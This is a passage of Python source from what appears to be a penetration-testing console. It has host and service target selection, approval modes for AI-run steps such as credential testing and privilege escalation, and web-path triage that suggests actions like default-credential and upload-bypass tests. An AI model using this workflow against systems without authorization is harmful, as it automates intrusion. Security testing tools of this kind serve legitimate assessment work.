                    click.echo("    [1] No access only")
                    click.echo("    [2] User access only")
                    click.echo("    [3] Admin/Root access only")
                    click.echo()
                    click.echo(click.style("  Select access level: ", fg='cyan'), nl=False)
                    
                    access_filter = input().strip()
                    
                    if access_filter == '1':
                        selected_hosts = [h for h in active_hosts if h.get('access_level', 'none') == 'none']
                    elif access_filter == '2':
                        selected_hosts = [h for h in active_hosts if h.get('access_level', 'none') == 'user']
                    elif access_filter == '3':
                        selected_hosts = [h for h in active_hosts if h.get('access_level', 'none') in ('admin', 'root')]
                    else:
                        click.echo(click.style("\n  ✗ Invalid selection!", fg='red'))
                        click.pause()
                        continue
                    
                    if not selected_hosts:
                        click.echo(click.style(f"\n  ✗ No hosts with that access level!", fg='red'))
                        click.pause()
                        continue
                    
                    click.echo(f"\n  ✓ Selected {len(selected_hosts)} host(s)")
                    
                elif target_choice == '4':
                    # Filter by service
                    # Get unique services from all hosts
                    services_set = set()
                    for host in all_hosts:
                        services = host_mgr.get_host_services(host['id'])
                        if services:
                            for svc in services:
                                services_set.add(svc.get('service', 'unknown'))
                    
                    if not services_set:
                        click.echo(click.style("\n  ✗ No services found on any host!", fg='red'))
                        click.pause()
                        continue
                    
                    click.echo("\n")
                    click.echo(click.style("  Available Services:", bold=True, fg='cyan'))
                    click.echo("  ─" * 38)
                    
                    services_list = sorted(list(services_set))
                    for idx, svc in enumerate(services_list, 1):
                        click.echo(f"    [{idx}] {svc}")
                    
                    click.echo()
                    click.echo(click.style("  Select service number: ", fg='cyan'), nl=False)
                    
                    svc_choice = input().strip()
                    
                    try:
                        svc_idx = int(svc_choice)
                        if svc_idx < 1 or svc_idx > len(services_list):
                            raise ValueError
                        
                        selected_service = services_list[svc_idx - 1]
                        
                        # Find hosts with this service
                        selected_hosts = []
                        for host in all_hosts:
                            services = host_mgr.get_host_services(host['id'])
                            if services and any(s.get('service') == selected_service for s in services):
                                selected_hosts.append(host)
                        
                        if not selected_hosts:
                            click.echo(click.style(f"\n  ✗ No hosts with {selected_service} service!", fg='red'))
                            click.pause()
                            continue
                        
                        click.echo(f"\n  ✓ Selected {len(selected_hosts)} host(s) with {selected_service}")
                        
                    except (ValueError, IndexError):
                        click.echo(click.style("\n  ✗ Invalid selection!", fg='red'))
                        click.pause()
                        continue
                else:
                    click.echo(click.style("\n  ✗ Invalid option!", fg='red'))
                    time.sleep(2)
                    continue
                
                # Show selected hosts summary
                click.echo()
                click.echo(click.style("  Selected Hosts:", bold=True, fg='green'))
                for host in selected_hosts[:10]:  # Show first 10
                    ip = host.get('ip_address', 'unknown')
                    hostname = host.get('hostname', '')
                    display_name = f"{ip}"
                    if hostname:
                        display_name += f" ({hostname})"
                    click.echo(f"    • {display_name}")
                
                if len(selected_hosts) > 10:
                    click.echo(f"    ... and {len(selected_hosts) - 10} more")
                
                time.sleep(1)
                
            except (KeyboardInterrupt, click.Abort):
                continue

            click.echo()

            # Show what's likely to happen (updated for selected hosts)
            click.echo(f"    {click.style('Next Steps:', fg='yellow', bold=True)}")
            if untested_count > 0:
                click.echo(f"      • AI will prioritize testing {click.style(str(untested_count), fg='cyan', bold=True)} untested credential(s)")
            
            # Calculate access levels for selected hosts only
            selected_access = {'none': 0, 'user': 0, 'admin': 0, 'root': 0}
            for host in selected_hosts:
                access = host.get('access_level', 'none')
                selected_access[access] += 1
            
            if selected_access['none'] > 0:
                click.echo(f"      • AI will attempt to gain access to {selected_access['none']} host(s)")
            elif selected_access['user'] > 0:
                click.echo(f"      • AI will attempt privilege escalation on {selected_access['user']} host(s)")
            else:
                click.echo(f"      • AI will enumerate and explore compromised systems")
            
            click.echo()
            click.echo(click.style("  SELECT EXECUTION MODE:", bold=True, fg='yellow'))
            click.echo("  ─" * 38)
            click.echo("    " + click.style("[1]", fg='cyan', bold=True) + " Manual Mode       - Approve each command manually")
            click.echo("    " + click.style("[2]", fg='cyan', bold=True) + " Auto-Low Mode     - Auto-approve LOW risk only")
            click.echo("    " + click.style("[3]", fg='cyan', bold=True) + " Auto-Medium Mode  - Auto-approve LOW + MEDIUM risk")
            click.echo("    " + click.style("[4]", fg='cyan', bold=True) + " Dry-Run Mode      - Show commands but don't execute")
            click.echo("    " + click.style("[5]", fg='cyan', bold=True) + " Single Step       - Execute one recommendation and stop")
            click.echo("    " + click.style("[6]", fg='cyan', bold=True) + " Attack Paths      - Show ranked attack paths (non-executing)")
            click.echo("    " + click.style("[q]", fg='white', bold=True) + " ← Back")
            click.echo()
            click.echo("  " + "─" * (get_terminal_width() - 4))
            click.echo(click.style("  Select mode: ", bold=True), nl=False)
            
            try:
                mode_choice = input().strip().lower()
                
                if mode_choice == 'q':
                    continue
                
                # Determine mode and max iterations
                from souleyez.ai.safety import ApprovalMode
                approval_mode = ApprovalMode.MANUAL
                max_iterations = None
                once = False
                
                if mode_choice == '1':
                    approval_mode = ApprovalMode.MANUAL
                elif mode_choice == '2':
                    approval_mode = ApprovalMode.AUTO_LOW
                elif mode_choice == '3':
                    approval_mode = ApprovalMode.AUTO_MEDIUM
                elif mode_choice == '4':
                    approval_mode = ApprovalMode.DRY_RUN
                elif mode_choice == '5':
                    approval_mode = ApprovalMode.MANUAL
                    once = True
                elif mode_choice == '6':
                    # Show attack paths (non-executing)
                    DesignSystem.clear_screen()
                    click.echo(click.style("\n🤖 Generating ranked attack paths...", fg='cyan', bold=True))
                    click.echo(click.style("⏳ This may take 1-3 minutes depending on AI model speed...\n", fg='yellow'))
                    
                    # Prompt for number of paths
                    try:
                        num_paths_str = click.prompt(click.style("  How many paths to generate?", fg='cyan'), 
                                                     default='3', type=str)
                        num_paths = int(num_paths_str)
                        if num_paths < 1 or num_paths > 10:
                            click.echo(click.style("\n  ✗ Number must be between 1 and 10", fg='red'))
                            time.sleep(2)
                            continue
                    except (ValueError, click.Abort):
                        click.echo(click.style("\n  ✗ Invalid number", fg='red'))
                        time.sleep(2)
                        continue
                    
                    # Generate paths - use selected provider
                    from souleyez.ai.recommender import AttackRecommender
                    if selected_ai_provider == 'claude':
                        from souleyez.ai.claude_provider import ClaudeProvider
                        provider = ClaudeProvider()
                    else:
                        from souleyez.ai.ollama_provider import OllamaProvider
                        provider = OllamaProvider()
                    recommender = AttackRecommender(provider=provider)
                    result = recommender.suggest_multiple_paths(current['id'], num_paths=num_paths)
                    
                    # Display results
                    if 'error' in result:
                        click.echo(click.style(f"\n  ✗ {result['error']}", fg='red'))
                    else:
                        paths = result.get('paths', [])
                        if not paths:
                            click.echo(click.style("\n  ⚠ No paths generated", fg='yellow'))
                        else:
                            # Display paths with ranking
                            click.echo("\n" + "=" * 78)
                            click.echo(click.style(f"RANKED ATTACK PATHS (Top {len(paths)})", bold=True, fg='cyan'))
                            click.echo("=" * 78)
                            
                            rank_icons = ['🥇', '🥈', '🥉', '4️⃣', '5️⃣', '6️⃣', '7️⃣', '8️⃣', '9️⃣', '🔟']
                            
                            for idx, path in enumerate(paths):
                                icon = rank_icons[idx] if idx < len(rank_icons) else f"{idx+1}."
                                score = path.get('score', 0)
                                
                                click.echo(f"\n{icon} PATH {idx+1} " + click.style(f"(Score: {score:.1f}/100)", fg='cyan'))
                                click.echo("-" * 78)
                                
                                click.echo(click.style("ACTION: ", bold=True) + path.get('action', 'Unknown'))
                                click.echo(click.style("TARGET: ", bold=True) + path.get('target', 'Unknown'))
                                click.echo(click.style("RISK: ", bold=True) + 
                                         click.style(path.get('risk', 'UNKNOWN'), 
                                                   fg='red' if path.get('risk') == 'HIGH' else 'yellow' if path.get('risk') == 'MEDIUM' else 'green'))
                                click.echo()
                                click.echo(click.style("RATIONALE: ", bold=True) + path.get('rationale', 'N/A'))
                                click.echo(click.style("EXPECTED: ", bold=True) + path.get('expected', 'N/A'))
                                
                                # Show score breakdown
                                breakdown = path.get('score_breakdown', {})
                                if breakdown:
                                    click.echo()
                                    click.echo(click.style("📊 Score Breakdown:", bold=True, fg='cyan'))
                                    for key, value in breakdown.items():
                                        click.echo(f"   {key}: {value}")
                            
                            click.echo("\n" + "=" * 78)
                            click.echo(click.style("\n💡 Tip: ", bold=True, fg='cyan') + 
                                     "Execute top path with option [1-5] above")
                    
                    click.echo()
                    click.pause("Press any key to return to menu...")
                    continue
                else:
                    click.echo(click.style("\n  ✗ Invalid choice! Use 1-6 or b", fg='red'))
                    time.sleep(2)
                    continue
                
                # Launch executor with selected mode
                DesignSystem.clear_screen()
                click.echo(click.style("\n🤖 Starting AI Execution...\n", fg='cyan', bold=True))
                click.echo(f"Engagement: {click.style(current['name'], fg='green', bold=True)}")
                click.echo(f"Targeting: {click.style(f'{len(selected_hosts)} host(s)', fg='cyan', bold=True)}")
                click.echo(f"Mode: {click.style(approval_mode.value, fg='yellow', bold=True)}")
                click.echo()
                
                # Extract host IDs for executor
                target_host_ids = [h['id'] for h in selected_hosts]

                # Create provider based on user selection
                if selected_ai_provider == 'claude':
                    ai_provider = ClaudeProvider()
                else:
                    ai_provider = OllamaProvider()

                executor = InteractiveExecutor(approval_mode, target_host_ids=target_host_ids, provider=ai_provider)
                try:
                    if once:
                        executor.execute_loop(current['id'], max_iterations=1, once=True)
                        click.echo()
                        click.pause("Press any key to return to menu...")
                    else:
                        executor.execute_loop(current['id'], max_iterations=max_iterations)
                except KeyboardInterrupt:
                    click.echo("\n" + click.style("  ⏹  Execution aborted. Returning to menu...", fg='yellow'))
                    time.sleep(1)
                    
            except (KeyboardInterrupt, EOFError):
                continue

        elif action == 'job_queue':
            # Job Queue management
            view_jobs_menu()

        elif action == 'reports_export' or action == 'reports':
            # Reports & Export
            manage_reports_menu()
        
        elif action == 'msf_integration' or action == 'msf':
            # MSF Integration only
            msf_integration_menu()

        elif action == 'wazuh_integration' or action == 'wazuh':
            # Wazuh SIEM Integration
            _wazuh_integration_menu()

        elif action == 'view_jobs':
            view_jobs_menu()

        elif action == 'manage_hosts':
            manage_hosts_menu()

        elif action == 'manage_services':
            manage_services_menu()

        elif action == 'manage_findings':
            manage_findings_menu()

        elif action == 'manage_credentials':
            manage_credentials_menu()

        elif action == 'manage_reports':
            manage_reports_menu()

        elif action == 'manage_engagements':
            manage_engagements_menu()
        
        elif action == 'settings_security':
            settings_security_menu()

        elif action == 'view_documentation':
            view_documentation_menu()

        elif action == 'view_additional_data':
            view_additional_data_menu()

        elif action == 'launch_tool':
            tool_name = result.get('tool')

            # Show tool configuration menu
            job_params = show_tool_menu(tool_name)

            if not job_params:
                continue

            # Check if user wants to go back
            if job_params.get('action') == 'back':
                continue

            # Validate job_params has required fields
            if 'tool' not in job_params or 'target' not in job_params:
                click.echo(click.style("✗ Invalid job parameters", fg='red'))
                continue

            # Confirm before launching
            term_width = get_terminal_width()

            click.echo("\n" + "=" * term_width)
            click.echo("CONFIRM JOB".center(term_width))
            click.echo("=" * term_width)
            click.echo(f"Tool:   {job_params['tool']}")
            click.echo(f"Target: {job_params['target']}")
            if job_params.get('args'):
                click.echo(f"Args:   {' '.join(job_params['args'])}")
            if job_params.get('label'):
                click.echo(f"Label:  {job_params['label']}")
            click.echo()

            if click.confirm("Launch this job?", default=True):
                job_id = launch_job(job_params)
                if job_id:
                    click.echo()
                    click.echo(click.style("Opening dashboard to follow job progress...", fg='cyan'))
                    click.echo(click.style("(Press 'q' to exit dashboard and return to menu)", dim=True))
                    time.sleep(2)  # Brief pause so user can read the message
                    
                    # Auto-load dashboard following the newly created job
                    from souleyez.ui.dashboard import run_dashboard
                    run_dashboard(follow_job_id=job_id)
                else:
                    click.pause("Press any key to continue...")


def _generate_web_discovery_summary(paths: List[Dict], hosts: List[Dict]) -> Dict:
    """Generate summary statistics for web discovery."""
    return {
        'total_servers': len(set(p['host_id'] for p in paths)),
        'total_paths': len(paths),
        'redirect_count': len([p for p in paths if p.get('redirect')]),
        'regular_count': len([p for p in paths if not p.get('redirect')]),
        'admin_panels': len([p for p in paths if any(x in p['url'].lower() for x in ['phpmyadmin', 'admin', 'manager', 'console'])]),
        'info_disclosure': len([p for p in paths if 'phpinfo' in p['url'].lower()]),
        'forbidden': len([p for p in paths if p.get('status_code') == 403])
    }


def _categorize_path_by_risk(path: Dict) -> str:
    """Return risk category: 'critical', 'high', 'medium', 'low', 'forbidden'"""
    url = path.get('url', '').lower()
    status = path.get('status_code')
    
    # Forbidden - potential bypass
    if status == 403:
        return 'forbidden'
    
    # Critical - admin access
    if status == 200 and any(x in url for x in ['phpmyadmin', 'admin', 'manager', 'console']):
        return 'critical'
    
    # High - info disclosure or upload
    if status == 200 and any(x in url for x in ['phpinfo', 'upload', 'config', 'backup']):
        return 'high'
    
    # Medium - interesting endpoints
    if status == 200 and any(x in url for x in ['test', 'dev', 'old', 'dav', 'webdav', 'wiki', 'twiki', 'chat', 'forum', 'drupal', 'wordpress']):
        return 'medium'
    
    # Medium - redirects to interesting
    if status in [301, 302] and any(x in url for x in ['admin', 'phpmyadmin', 'upload', 'manager']):
        return 'medium'
    
    # Low - everything else
    return 'low'


def _get_action_description(path: Dict) -> str:
    """Get suggested action for a path."""
    url = path.get('url', '').lower()
    status = path.get('status_code')
    
    ACTION_MAP = {
        'phpmyadmin': '→ Test default creds',
        'admin': '→ Test default creds',
        'manager': '→ Test default creds',
        'console': '→ Test default creds',
        'phpinfo': '→ Extract DB details',
        'upload': '→ Test upload bypass',
        'test': '→ Enumerate contents',
        'backup': '→ Check for sensitive files',
        'dav': '→ Test PUT requests',
        'webdav': '→ Test PUT requests',
        'wiki': '→ Check version',
        'twiki': '→ Check version',
        'chat': '→ Test auth bypass',
        'forum': '→ Test auth bypass',
        'config': '→ Check for leaks',
    }
    
    if status == 403:
        return '→ Test bypass methods'
    
    for keyword, action in ACTION_MAP.items():
        if keyword in url:
            return action
    
    if status in [301, 302]:
        return '→ Follow redirect'
    
    return ''


def _identify_interesting_paths(paths: List[Dict]) -> List[Dict]:
    """Identify high-value paths and suggest actions (legacy compatibility)."""
    recommendations = []
    
    for path in paths:
        risk = _categorize_path_by_risk(path)
        if risk in ['critical', 'high', 'medium']:
            action = _get_action_description(path)
            recommendations.append({
                'path': path['url'],
                'action': action.replace('→ ', '') if action else 'Investigate',
                'priority': risk,
                'path_id': path['id']
            })
    
    # Sort by priority
    priority_order = {'critical': 0, 'high': 1, 'medium': 2, 'low': 3}
    recommendations.sort(key=lambda x: priority_order.get(x['priority'], 999))
    
    return recommendations

